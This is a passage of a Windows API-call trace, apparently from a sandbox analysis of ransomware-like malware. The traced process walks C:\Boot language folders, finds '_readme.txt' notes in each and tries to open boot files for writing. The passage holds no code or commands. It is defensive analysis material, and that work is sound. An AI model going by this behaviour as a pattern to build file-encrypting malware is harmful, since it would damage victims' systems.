lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.505] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0122.505] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0122.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.505] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.505] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.505] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.506] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.506] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned=".mui" [0122.506] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.506] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.506] PathFindExtensionW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned=".txt" [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.506] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.506] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.506] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.506] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.506] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.507] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.507] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.508] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.508] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.509] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.510] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.510] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.510] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.510] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.510] PathFindFileNameW (pszPath="") returned="" [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.510] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.510] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.510] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.511] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.511] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0122.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.511] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0122.511] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.511] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.511] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.511] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0122.511] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.511] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.511] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned=".txt" [0122.511] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b63f50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.511] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.512] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.512] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.512] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.512] RtlAllocateHeap (HeapHandle=0x5b0000, 